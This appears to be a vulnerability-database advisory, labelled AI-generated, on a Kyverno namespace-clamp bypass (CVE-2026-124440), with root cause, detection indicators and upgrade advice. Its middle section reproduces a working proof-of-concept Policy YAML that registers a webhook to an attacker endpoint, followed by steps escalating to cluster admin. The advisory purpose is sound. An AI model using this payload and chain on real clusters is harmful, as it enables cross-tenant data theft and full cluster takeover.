
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-124440 is a critical authorization bypass vulnerability in Kyverno's apiCall namespace clamp that allows authenticated namespace tenants to issue cross-namespace and cluster-scoped Kubernetes API requests, ultimately escalating to cluster admin. It affects Kyverno version 1.19.1 and was patched in version 1.19.2. The vulnerability was published on November 8, 2026, and was reported by security researcher WarlordSam07. It carries a CVSS v3.1 score of 9.9 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Security Advisory, GitHub Advisory).
The root cause is a "confused deputy" flaw (CWE-441) combined with incorrect authorization (CWE-863) in pkg/engine/apicall/apiCall.go within the Fetch function. When url.PathUnescape() encounters a malformed percent-escape (e.g., ?a=%) in the urlPath, it returns an error and falls back to validating the raw, un-decoded path string — but the actual HTTP request is issued against that same raw path via RawAbsPath. The namespace clamp therefore validates the attacker's own namespace from the raw string (where %2e%2e is not decoded), while client-go's RequestURI fully decodes the path and resolves the %2e%2e traversal segments, routing the request to a different namespace or a cluster-scoped collection. The bypass is an open class of inputs — any malformed percent-escape in a query parameter (e.g., ?a=%, ?a=%2, ?a=%zz) triggers the fallback, making it trivially exploitable. This issue reopens vulnerabilities previously addressed by GHSA-c5qq-7g2q-cpqp and GHSA-5qq8-67g6-4h2w in the v1.19.1 release (GitHub Security Advisory).
A successful exploit grants a namespace-confined tenant the ability to read any resource accessible to the Kyverno admission-controller ServiceAccount across all namespaces (including Secrets where the deployment permits), and to create, update, or delete cluster-scoped MutatingWebhookConfiguration and ValidatingWebhookConfiguration objects. By registering a malicious cluster-scoped webhook, the attacker can intercept and mutate admission requests across every namespace, enabling a full chain to cluster admin — including reading all secrets, modifying any resource, and disrupting any workload or control-plane object. This constitutes a total loss of confidentiality, integrity, and availability across the entire Kubernetes cluster (GitHub Security Advisory).
A proof-of-concept exploit in the form of a deployable malicious Kyverno Policy YAML is publicly available in the GitHub Security Advisory, including a described step-by-step chain from namespace tenant to cluster admin (GitHub Security Advisory). There is no evidence of in-the-wild exploitation at this time, and the NVD SSVC assessment lists exploitation as "none" (GitHub Advisory). The EPSS score is approximately 0.548%, placing it in the 47th percentile for exploitation probability within 30 days. The vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires only create permission on policies.kyverno.io in the attacker's own namespace — a low privilege bar for multi-tenant Kubernetes environments.
create permission on policies.kyverno.io resources in a namespace you control (e.g., attacker-ns). This is the only privilege required.Policy whose apiCall.urlPath contains %2e%2e path traversal segments and a malformed percent-escape in the query string to force the namespace clamp fallback. For a cluster-scoped webhook write, use:apiVersion: kyverno.io/v1
kind: Policy
metadata: { name: clamp-bypass, namespace: attacker-ns }
spec:
validationFailureAction: Audit
background: false
rules:
- name: emit
match: { any: [ { resources: { kinds: [ConfigMap] } } ] }
context:
- name: r
apiCall:
method: POST
urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/attacker-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations?a=%"
data:
- { key: apiVersion, value: admissionregistration.k8s.io/v1 }
- { key: kind, value: MutatingWebhookConfiguration }
- { key: metadata, value: { name: cross-scope-write } }
- key: webhooks
value:
- name: w.attacker-ns.svc
admissionReviewVersions: [v1]
sideEffects: None
failurePolicy: Ignore
clientConfig: { url: https://attacker-endpoint/ }
rules: [ { operations: [CREATE], apiGroups: [""], apiVersions: [v1], resources: [pods] } ]
validate:
message: "n={{ r.metadata.name }}"
deny: {}ConfigMap in attacker-ns to trigger the admission webhook and force the apiCall to execute.url.PathUnescape call fails on ?a=%, causing the fallback to validate the raw path (which still shows attacker-ns), while client-go decodes %2e%2e and routes the POST to the cluster-scoped mutatingwebhookconfigurations collection as the Kyverno admission-controller ServiceAccount.MutatingWebhookConfiguration was created under the controller's identity: kubectl get mutatingwebhookconfiguration cross-scope-write -o jsonpath='{.metadata.managedFields[0].manager}' → kyverno./api/v1/namespaces/attacker-ns/%2e%2e/victim-ns/configmaps/victim-config?a=%) to read resources from other namespaces via the deny message output.kube-system pod creation, pointing to an attacker-controlled endpoint that returns a JSONPatch replacing serviceAccountName with clusterrole-aggregation-controller and injecting an attacker container. Use the mounted token to patch system:basic-user ClusterRole to grant all verbs on all resources, achieving cluster admin for the attacker's ServiceAccount (GitHub Security Advisory)./apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations or /validatingwebhookconfigurations where the userAgent is kyverno and the initiating user is the Kyverno admission-controller ServiceAccount (e.g., system:serviceaccount:kyverno:kyverno-admission-controller), especially when no corresponding tenant-level permission exists.configmaps or secrets.Policy resources containing apiCall.urlPath values with %2e%2e (percent-encoded dot-dot) traversal segments and/or malformed percent-escapes in query parameters (e.g., ?a=%, ?a=%2, ?a=%zz).MutatingWebhookConfiguration or ValidatingWebhookConfiguration objects created by the Kyverno ServiceAccount, especially those with broad namespaceSelector (or none) pointing to external or tenant-controlled endpoints.ClusterRole objects, particularly system:basic-user, granting elevated permissions.kube-apiserver to unexpected or tenant-controlled endpoints (non-standard service URLs in webhook clientConfig).kube-system with unexpected serviceAccountName values or injected containers not matching the original workload spec (GitHub Security Advisory).Upgrade Kyverno to version 1.19.2 or later, which contains the fix for this vulnerability (GitHub Security Advisory, GitHub Advisory). As interim mitigations: audit all existing namespaced Policies for apiCall.urlPath values containing percent-encoded characters or traversal sequences; restrict create permissions on policies.kyverno.io to trusted principals only; and monitor for unexpected MutatingWebhookConfiguration or ValidatingWebhookConfiguration objects created by the Kyverno ServiceAccount. Note that simply filtering specific malformed escapes (e.g., ?a=%) is insufficient, as the bypass is an open class of inputs — only upgrading to 1.19.2 fully resolves the issue.
The vulnerability was reported by researcher WarlordSam07 and published by Kyverno maintainer JimBugwadia via GitHub Security Advisory GHSA-39w8-hv5g-f73w (GitHub Security Advisory). A technical blog post was published on ZeroPath analyzing the namespace clamp bypass (ZeroPath Blog), and a developer article on dev.to discussed the percent-encoded path failure (Dev.to Article). VulnCheck also published an advisory covering the privilege escalation chain (VulnCheck Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."